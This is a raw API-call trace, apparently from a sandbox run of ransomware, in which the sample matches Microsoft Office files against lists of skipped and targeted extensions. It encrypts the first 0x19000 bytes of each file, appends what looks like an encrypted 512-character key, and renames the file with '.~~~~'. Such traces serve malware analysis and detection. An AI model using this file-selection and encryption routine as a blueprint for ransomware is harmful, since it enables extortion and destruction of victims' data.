	[0139.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0139.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825ef0
	[0139.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825ef0 | out: hHeap=0x300000) returned 1
	[0139.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399c50
	[0139.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399c50 | out: hHeap=0x300000) returned 1
	[0139.673] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0139.673] GetLastError () returned 0x0
	[0139.674] GetLastError () returned 0x0
	[0139.674] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0139.674] GetLastError () returned 0x0
	[0139.674] GetLastError () returned 0x0
	[0139.674] ReadFile (in: hFile=0x108, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.686] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.686] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0139.686] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.686] WriteFile (in: hFile=0x108, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.688] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.688] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.688] CloseHandle (hObject=0x108) returned 1
	[0139.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399c50
	[0139.688] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css.~~~~")) returned 1
	[0139.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399c50 | out: hHeap=0x300000) returned 1
	[0139.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0139.691] GetLastError () returned 0x0
	[0139.691] RtlWakeConditionVariable () returned 0x0
	[0139.691] GetCurrentThreadId () returned 0x3a4
	[0139.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".scr") returned 0x0
	[0139.692] lstrlenW (lpString=".cmd") returned 4
	[0139.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".cmd") returned 0x0
	[0139.692] lstrlenW (lpString=".dll") returned 4
	[0139.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".dll") returned 0x0
	[0139.692] lstrlenW (lpString=".bat") returned 4
	[0139.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".bat") returned 0x0
	[0139.692] lstrlenW (lpString=".cpl") returned 4
	[0139.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".cpl") returned 0x0
	[0139.692] lstrlenW (lpString=".sys") returned 4
	[0139.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".sys") returned 0x0
	[0139.692] lstrlenW (lpString=".msc") returned 4
	[0139.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".msc") returned 0x0
	[0139.692] lstrlenW (lpString=".com") returned 4
	[0139.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".com") returned 0x0
	[0139.692] lstrlenW (lpString=".lnk") returned 4
	[0139.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".lnk") returned 0x0
	[0139.692] lstrlenW (lpString=".msp") returned 4
	[0139.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".msp") returned 0x0
	[0139.692] lstrlenW (lpString=".pif") returned 4
	[0139.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".pif") returned 0x0
	[0139.692] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0139.695] lstrlenW (lpString=".sqb") returned 4
	[0139.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".sqb") returned 0x0
	[0139.695] lstrlenW (lpString=".ost") returned 4
	[0139.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".ost") returned 0x0
	[0139.695] lstrlenW (lpString=".txt") returned 4
	[0139.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".txt") returned 0x0
	[0139.695] lstrlenW (lpString=".mdt") returned 4
	[0139.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".mdt") returned 0x0
	[0139.695] lstrlenW (lpString=".BDB") returned 4
	[0139.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".BDB") returned 0x0
	[0139.696] lstrlenW (lpString=".eql") returned 4
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".eql") returned 0x0
	[0139.696] lstrlenW (lpString=".DBF") returned 4
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".DBF") returned 0x0
	[0139.696] lstrlenW (lpString=".EQL") returned 4
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".EQL") returned 0x0
	[0139.696] lstrlenW (lpString=".FDB") returned 4
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".FDB") returned 0x0
	[0139.696] lstrlenW (lpString=".EDB") returned 4
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".EDB") returned 0x0
	[0139.696] lstrlenW (lpString=".DACPAC") returned 7
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.696] lstrlenW (lpString=".VHD") returned 4
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".VHD") returned 0x0
	[0139.696] lstrlenW (lpString=".DBV") returned 4
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".DBV") returned 0x0
	[0139.696] lstrlenW (lpString=".dacpac") returned 7
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".dacpac") returned 0x0
	[0139.696] lstrlenW (lpString=".sdf") returned 4
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".sdf") returned 0x0
	[0139.696] lstrlenW (lpString=".accdb") returned 6
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".accdb") returned 0x0
	[0139.696] lstrlenW (lpString=".DBX") returned 4
	[0139.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".DBX") returned 0x0
	[0139.696] lstrlenW (lpString=".MDT") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".MDT") returned 0x0
	[0139.697] lstrlenW (lpString=".SQB") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".SQB") returned 0x0
	[0139.697] lstrlenW (lpString=".vhd") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".vhd") returned 0x0
	[0139.697] lstrlenW (lpString=".bac") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".bac") returned 0x0
	[0139.697] lstrlenW (lpString=".mdf") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".mdf") returned 0x0
	[0139.697] lstrlenW (lpString=".BAK") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".BAK") returned 0x0
	[0139.697] lstrlenW (lpString=".BAC") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".BAC") returned 0x0
	[0139.697] lstrlenW (lpString=".dbs") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".dbs") returned 0x0
	[0139.697] lstrlenW (lpString=".vhdx") returned 5
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".vhdx") returned 0x0
	[0139.697] lstrlenW (lpString=".NDF") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".NDF") returned 0x0
	[0139.697] lstrlenW (lpString=".dat") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".dat") returned 0x0
	[0139.697] lstrlenW (lpString=".DBS") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".DBS") returned 0x0
	[0139.697] lstrlenW (lpString=".CKP") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".CKP") returned 0x0
	[0139.697] lstrlenW (lpString=".edb") returned 4
	[0139.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".edb") returned 0x0
	[0139.698] lstrlenW (lpString=".PST") returned 4
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".PST") returned 0x0
	[0139.698] lstrlenW (lpString=".dbf") returned 4
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".dbf") returned 0x0
	[0139.698] lstrlenW (lpString=".SQL") returned 4
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".SQL") returned 0x0
	[0139.698] lstrlenW (lpString=".pst") returned 4
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".pst") returned 0x0
	[0139.698] lstrlenW (lpString=".dbv") returned 4
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".dbv") returned 0x0
	[0139.698] lstrlenW (lpString=".SDF") returned 4
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".SDF") returned 0x0
	[0139.698] lstrlenW (lpString=".dtxs") returned 5
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".dtxs") returned 0x0
	[0139.698] lstrlenW (lpString=".db3") returned 4
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".db3") returned 0x0
	[0139.698] lstrlenW (lpString=".OST") returned 4
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".OST") returned 0x0
	[0139.698] lstrlenW (lpString=".dbx") returned 4
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".dbx") returned 0x0
	[0139.698] lstrlenW (lpString=".DB3") returned 4
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".DB3") returned 0x0
	[0139.698] lstrlenW (lpString=".DAT") returned 4
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".DAT") returned 0x0
	[0139.698] lstrlenW (lpString=".VHDX") returned 5
	[0139.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".VHDX") returned 0x0
	[0139.698] lstrlenW (lpString=".ndf") returned 4
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".ndf") returned 0x0
	[0139.699] lstrlenW (lpString=".DB") returned 3
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".DB") returned 0x0
	[0139.699] lstrlenW (lpString=".sql") returned 4
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".sql") returned 0x0
	[0139.699] lstrlenW (lpString=".MYD") returned 4
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".MYD") returned 0x0
	[0139.699] lstrlenW (lpString=".DBT") returned 4
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".DBT") returned 0x0
	[0139.699] lstrlenW (lpString=".ACCDB") returned 6
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.699] lstrlenW (lpString=".fdb") returned 4
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".fdb") returned 0x0
	[0139.699] lstrlenW (lpString=".bak") returned 4
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".bak") returned 0x0
	[0139.699] lstrlenW (lpString=".myd") returned 4
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".myd") returned 0x0
	[0139.699] lstrlenW (lpString=".DTXS") returned 5
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".DTXS") returned 0x0
	[0139.699] lstrlenW (lpString=".ckp") returned 4
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".ckp") returned 0x0
	[0139.699] lstrlenW (lpString=".dbt") returned 4
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".dbt") returned 0x0
	[0139.699] lstrlenW (lpString=".db") returned 3
	[0139.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".db") returned 0x0
	[0139.700] lstrlenW (lpString=".TXT") returned 4
	[0139.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".TXT") returned 0x0
	[0139.700] lstrlenW (lpString=".MDF") returned 4
	[0139.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".MDF") returned 0x0
	[0139.700] lstrlenW (lpString=".bdb") returned 4
	[0139.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".bdb") returned 0x0
	[0139.700] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0139.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.700] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0139.701] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.701] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0139.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0139.702] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25969177729) returned 1
	[0139.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbcae7570, dwHighDateTime=0x1d60e1e)) 
	[0139.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0139.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0139.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0139.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825f28
	[0139.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825f28 | out: hHeap=0x300000) returned 1
	[0139.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399860
	[0139.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399860 | out: hHeap=0x300000) returned 1
	[0139.703] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0139.703] GetLastError () returned 0x0
	[0139.703] GetLastError () returned 0x0
	[0139.703] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0139.703] GetLastError () returned 0x0
	[0139.703] GetLastError () returned 0x0
	[0139.703] ReadFile (in: hFile=0x108, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.807] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.827] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0139.828] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.828] WriteFile (in: hFile=0x108, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.829] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.829] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.829] CloseHandle (hObject=0x108) returned 1
	[0139.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3993c8
	[0139.829] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css.~~~~")) returned 1
	[0139.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3993c8 | out: hHeap=0x300000) returned 1
	[0139.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0139.832] GetLastError () returned 0x0
